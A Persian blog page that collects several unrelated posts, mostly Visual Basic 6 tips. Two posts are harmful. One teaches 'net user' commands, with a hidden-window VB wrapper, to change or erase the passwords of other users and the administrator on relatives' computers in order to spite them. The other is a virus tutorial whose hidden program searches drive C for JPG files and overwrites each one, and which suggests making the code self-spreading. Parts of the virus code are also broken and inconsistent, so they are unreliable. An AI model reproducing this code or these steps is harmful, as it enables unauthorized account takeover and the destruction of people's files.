سلام . اولا عید همگی مبارک . بعدش هم یک چیز جالب براتون دارم .

گاهی ممکنه برین خونه اقوام . و اونها هم برای یوزرهاشو پسورد گذاشته باشن حتی ادمین رو هم .

بنابراین باید وایستین تا بیان براتون پسورد رو وارد کنن تا وارد اون یوزر بشین بنابراین با این روش جیمفلنگی دخلشو بیارین تا دیگه از این کارا برای شما نکنه . حتی پسورد ادمین رو هم پاک کنین تا طرف حساب کار دستش بیاد .

خوب بریم سراغ آموزش . هم توی cmd یا همون command prompt خودتون . هم توی vb .

توی cmd :

اول برین run رو از منوی استارت باز کنین .( واسه تازه کارا . آخه اینجا همه مدل میان )

بعدش کلمه cmd رو وارد کنید تا یک صفحه سیاه باز بشه یعنی یک چیز اینطوری :

بعد بدون اینکه کاری بکنین باید این دستور رو وارد کنین :

"پسورد" "نام کاربر"  net user

1. حتما نام کاربر و پسورد باید درون کوتیشن باشند (shift + گ)

2. بین نام کاربر و پسورد یک کاراکتر فاصله باشد . یعنی دکمه درازه روی صفحه کلید رو بزنید .

3. بین کلمات net و user هم فاصله باشد

4. اگه خواستین پسورد پاک بشه باید دوتا کوتیشن بجاش بزارین یعنی اینطوری """"

5. اگه حساب جاری ادمین باشد که 98 درصد هست میتونین پسورد حساب ادمین اصلی رو هم پاک کنید . برای این کار بجای نام کاربر باید کلمه administrator رو تایپ کنین .

6. در تایپ نام کاربر بزرگ و کوچکی تاثیری ندارد .

حالا دستوراتش توی vb :

دوتا تکست باکس بزارین یکی برای نام کاربری و دیگری پسورد و یک کامند .حالا توی کامند این تکه کد رو بزارین :

If Text1 = Empty Then Text۲ = """"
Shell ("net user " + Text1.Text + " " + Text2.Text), vbHide

 والسلام . AHA.x92

در عصري زندگي مي‌كنيم كه نمي‌توان بدون مطالعه و كسب دانش به يك انتخاب و گزينه مناسب رسيد. حال اگر اين انتخاب براي خريد يك قطعه الكترونيكي باشد نياز به داشتن اطلاعات كافي به يك امر لازم و بايد تبديل مي‌شود چرا كه فناوري‌هاي جديد در قالب پارامترها و خصوصيات گنجانده مي‌شوند و تفاوت  . . . .

ابزارType :

توسط اين ابزار مي توانيد يک جمله و يا يک متن را بر روي تصوير بنويسيد.
Horzontal Type Tool:
جهت نوشتن بصورت افقي بکار مي رود .

- در قسمت Option مي توانيد نوع خط متن را تغيير دهيد .
- همينطور مي توانيد حالت خط خود را بصورت Regular ، Italic... درآوريد .
- اندازه خط متن را نيز انتخاب کنيد .
- مي توان با انتخاب يکي از گزينه هاي Crips ، Strong... باعث شويم تا لبه خطوط غير هموار شود .

- مي توانيد پاراگراف بندي را از سمت چپ ، راست و يا از وسط تنظيم نماييد.

- مي توانيد از ديالوگ رنگها رنگ مورد نظر را انتخاب کنيد .
- Create Warped text : که با کليک کردن روي آن مي توانيد به پاراگراف متن خود شکل و حالت دهيد.

که با فشردن اين قسمت پنجره محاوره اي Warp text نشان داده مي شود .

- با انتخاب آخرين کادر مکالمه که مربوط به تنظيمات پيشرفته پاراگراف و کاراکتر مي باشد مي توان بطور دقيق تر تنظيم نمود .

بقیه در ادامه مطلب .

آقایون و خانوم ها  جمعا هرکی ۲۰ گیگ فضای آپلود میخواهد عضو شود.اطلاعات زیادی ازش ندارم .فقط میدونم ۲۰گیگ فضا میده. 

تا حالا خیلی ها ازم پرسیدن که چطوری باید فرم رو موقع اجرا یا همون موقعه ای فایل اجراییش رو ساختیم وسط صفحه دسکتاپ قرار بگیره . باید از تابع های API استفاده بشه ؟ نه بابا, با این چند خط کد پایین فرمتون رو در هر حالت و صورت وسط قرار بدین :

Private Sub Command1_Click()
Form1.Top = (Screen.Height - Form1.Height) / 2
Form1.Left = (Screen.Width - Form1.Width) / 2
End Sub

این هم ایجاد افکت های Goto tray . این هم عیدی های من به شما ببینم شما چی نظر میدین ها :

Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function GetClassName Lib "user32" Alias "GetClassNameA" (ByVal hwnd As Long, ByVal lpClassName As String, ByVal nMaxCount As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Private Declare Function DrawAnimatedRects Lib "user32" (ByVal hwnd As Long, ByVal idAni As Long, lprcFrom As RECT, lprcTo As RECT) As Long
Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Private Const GW_CHILD = 5
Private Const GW_HWNDFIRST = 0
Private Const GW_HWNDLAST = 1
Private Const GW_HWNDNEXT = 2
Private Const GW_HWNDPREV = 3
Private Const GWL_WNDPROC = (-4)
Private Const IDANI_OPEN = &H1
Private Const IDANI_CLOSE = &H2
Private Const IDANI_CAPTION = &H3
Private Const WM_USER = &H400
Private rctFrom As RECT
Private rctTo As RECT
Private lngTrayHand As Long
Private lngStartMenuHand As Long
Private lngChildHand As Long
Private strClass As String * 255
Private lngClassNameLen As Long
Private lngRetVal As Long

Public Function TitleToTray(frm As Form)

lngStartMenuHand = FindWindow("Shell_TrayWnd", vbNullString)
lngChildHand = GetWindow(lngStartMenuHand, GW_CHILD)
Do
lngClassNameLen = GetClassName(lngChildHand, strClass, Len(strClass))
If InStr(1, strClass, "TrayNotifyWnd") Then
lngTrayHand = lngChildHand
Exit Do
End If
lngChildHand = GetWindow(lngChildHand, GW_HWNDNEXT)
Loop
lngRetVal = GetWindowRect(frm.hwnd, rctFrom)
lngRetVal = GetWindowRect(lngTrayHand, rctTo)
lngRetVal = DrawAnimatedRects(frm.hwnd, IDANI_OPEN Or IDANI_CAPTION, rctFrom, rctTo)
End Function

Public Function TrayToTitle(frm As Form)

lngStartMenuHand = FindWindow("Shell_TrayWnd", vbNullString)
lngChildHand = GetWindow(lngStartMenuHand, GW_CHILD)
Do
lngClassNameLen = GetClassName(lngChildHand, strClass, Len(strClass))
If InStr(1, strClass, "TrayNotifyWnd") Then
lngTrayHand = lngChildHand
Exit Do
End If
lngChildHand = GetWindow(lngChildHand, GW_HWNDNEXT)
Loop
lngRetVal = GetWindowRect(frm.hwnd, rctFrom)
lngRetVal = GetWindowRect(lngTrayHand, rctTo)
lngRetVal = DrawAnimatedRects(frm.hwnd, IDANI_CLOSE Or IDANI_CAPTION, rctTo, rctFrom)

End Function

Private Sub Command1_Click()
TitleToTray Form1
End Sub

Private Sub Command2_Click()
TrayToTitle Form1
End Sub
**************************************************************        

این کد فرمتون رو منفجر میکنه یا به قول برو بچ فرمتون رو میترکونه . اول از همه این تکه کد پایین رو توجنرال فرمتون کپی کنید. البته من این تکه کد رو توی یکی از وبلاگ ها دیدم , ولی اشتباه بود حالا درستش رو اینجا نوشتم :

*****************************************************************

Sub Explode(frm As Form)
frm.Width = 0
frm.Height = 0
frm.Show
For x = 0 To 5000 Step 250
frm.Width = x
frm.Height = x
With frm
.Left = (Screen.Width - .Width) / 2
.Top = (Screen.Height - .Height) / 2
End With
Next x
End Sub

**********************************************************************

حالا این هم کد فرو لودتون:

Private Sub Command1_Click()
Explode Form1
End Sub

السلام علیک یا اهل ال VB کار .

سلام ،سلام ، همگی سلام

امروز می خواهم طریقه نوشتن ویروس معروف جیفو رو بهتون یاد بدم . حالا بخاطر اینکه گفته نشه همه اش تقلید بازی هستش ما هم ویروس مان رو برای عکس ها می نویسیم نه فایل های اجرایی .

خوب اول کار باید ویروس را تجزیه و تحلیل کینم که ببینیم چکار میکنه بطور خیلی خلاصه .

1 . این ویروس در سیستم فرد قربانی به دنبال فایل مورد نظر میگرده .

2 . در صورت پیدا کردن فایلی اون فایل رو خراب میکنه و کامل از اعتبار دیدن (عکس) ساقطش میکنه .

مر حله دوم که واسه شما برنامه نویس ها خیلی راحته (عینهو اب خوردن ) ولی بازم واسه ی تازه نفس ها یک توضیح مختصر در باره دستورات مربوط میدم .

برای این کار از دستور OPEN استفاده می کنیم . این دستور برای ذخیره و بازیابی داده ها از یک فایل هستش که شکل کلی دستور مثل زیره :

» نکته : هر پارامتری که داخل پرانتز باشه ( ) اجباری هستش ، اگه دا خل { } حداقل یکی باید استفاده بشه و اگر داخل [ ] اختیاری هست می تونید استفاده کنید یا نکنید .

Open FilePath [For Mode] As [#] FileNumber

» FilePath = مسیر فایل مورد نظر برای بازکردن

» ForMode = حالت دسترسی به فایل

» FileNumber = شماره فایل مورد نظر

ForMode میتواند مقادیر زیر را بگیرد :

1. Binary : یک فایل تصادفی را به صورت دودویی باز میکند ( منظور همان بیت ها و بایت ها است ) . در صورت نبود فایل آنرا در مسیر مورد نظر میسازد .

2. Input : فایل ترتیبی را برای خواندن باز میکند .

3. Output : فایل ترتیبی را برای نوشتن باز میکند و در صورت نبود آنرا میسازد .

4. Random : فایل را بای دسترسی تصادفی باز میکند و در صورت نبود آنرا میسازد .

پارامتر FileNumber را هم از طریق دستور FreeFile( ) بدست می آوریم این دستور شماره یک فایل آزاد را بر میگرداند . و دارای رنج خاصی است که مقدار پیش فرض ، بین 1 تا 255 فکر کنم هستش ولی خودتون هم می تونید رنجشو تعیین کنید .

خوب تا اینجا که فهمیدید چطوری باید فایل رو خرابش بکنیم . کدهاشو پاک میکنیم یا یک عددی یا رقمی رو به کدهاش اضافه می کنیم در این صورت فایل دیگه بدرد نمی خوره . و یا اگه حر فه ای باشید ( مثل من ) چاخان گفتم فقط خواستم مزاح کنم . می تونید بجای کدهاش کد خود ویروستون رو جایگزین کنید که با هر بار اجرا کردن ویرستون فعال بشه و اینطوری ویروس تون رو همه جا پخش کنید . اگه خواستید واقعا یک چیز درست حسابی بنویسین حتما کتاب رجیستری من رو که در بخش هک هستش رو بخونید امکانات خوبی رو می تونید به ویروستان اضافه کنید . اگه کار با رجیستری رو هم یاد نداشتید بگین تا آموزشش رو بذارم توی وب . آخه کتابم در مورد رجیستری هستش .

خوب از مسله اصلی زیاد پرت نشیم . دستور زیر این کار رو تمام و کمال انجام میده :

FN = FreeFile

Open "مسیر فایل" For Binary As #FN
Put #FN, , strFile
Close #FN

دستور Put اطلاعات را درون فایل میریزد و Get اطلاعات را میگیرد یعنی میخواند . دستور Close فایل مورد نظر را می بندد

دستور Put دارای 3 پارامتر است اولی شماره فایل ، دومی شماره رکورد برای ورود اطلاعات یعنی اطلاعات را رکورد شماره چند ذخیره کند و پارامتر 3 که اطلاعاتی هستش که میخواهید در فایل ثبت کنید . (strFile)

خوب دیدین که تا اینجا کدها مون زیاد مالی نبود . اصل کاریشو الان می خوام بگم چیزی که به ویرستون قدرت میده یعنی همون جستجو کردن .

اول از منوی Project گزینه References را انتخاب بکنید تا کادری باز شود و بعد گزینه Microsoft Scripting Runtime را علامت بزنید و سپس OKکنید . بعد در قسمت General برنامه تون این کدها رو وارد کنید .

Dim fso As New FileSystemObject
Dim fld As Folder
Dim FN As Integer
Dim af As String

بعد یک Sub به نام Find تعریف می کنیم اینطوری :

Private Sub Find(ByVal sFol As String, sFile As String)
On Error Resume Next
Dim tFld As Folder, tFil As File, FileName As String
Set fld = fso.GetFolder(sFol)
FileName = Dir(fso.BuildPath(fld.Path, sFile), vbNormal Or _
vbHidden Or vbSystem Or vbReadOnly)
While Len(FileName) <> 0
FindFile = FindFile + FileLen(fso.BuildPath(fld.Path, FileName))
af = fso.BuildPath(fld.Path, FileName) ' Load ListBox
Damage (af)
FileName = Dir() ' Get next file
DoEvents
Wend
If fld.SubFolders.Count > 0 Then
For Each tFld In fld.SubFolders
DoEvents
FindFile = FindFile + FindFile(tFld.Path, sFile)
Next
End If
End Function

این Function دنبال فایل مورد نظر میگرده و مسیر فایل پیدا شده رو در متغییر af که از نوع رشته ای هستش میریزه . بعد متغییر af رو به روال Damage میفرسته که این روال فایل رو خراب میکنه . این هم کد روال Damage :

Private Sub Damage(ByVal FileAddress As String)
FN = FreeFile
Open af For Binary As #FN
Put #FN, , "www.godvb.blogfa.com"
Close #FN
End Sub

این روال Damage اول فایل آدرس سایتمو درج میکنه . دیگه همه چیز تموم شد فقط باید در قسمت Form Load این چند خط کد رو هم بنویسید تا قسمت جستجوش عمل کنه :

Private Sub Form_Load()
Me.Hide
Dim sDir As String
Dim vSrchString As String
Dim lSize As Long
sDir = "C:"
sDir = Left$(sDir, 2) & "\"
vSrchString = LTrim("*.jpg")
lSize = FindFile(sDir, vSrchString)
End Sub

در خط 8 شما می توانید پسوند فایل مورد نظ رتون رو تعریف کنید که الان jpg هستش ، در خط 6 شما باید درایو جستجو شونده رو تعیین کنید توی دستورات فقط درایو C رو میگرده دیگه جستجوی کل هارد رو گذاشتم خودتون بنویسید حداقل یکم که تمرین بکنین تا مختون باز بشه دیگه تنها چیزی که مونده باید مشخصه ShowInTaskbar فرمتون رو باید با False مقدار دهی بکنین

این هم ویروس جیفو . اگه جایی رو موندید حتما بپرسید و مطمئن باشید که حتما هم جواب میدم . اگه با حال باشین یک آموزشی توپ میخوام بذارم تا دیگه واقعا کف کنین آموزش ساخت ویروس طوریکه آنتی ویروس هم نشناستش البته پیش پا افتاده تا منظور از پیش پا افتاده چی باشه

والسلام و علیک .

مخلصیم : AHA.x92

نويسندگان

حميد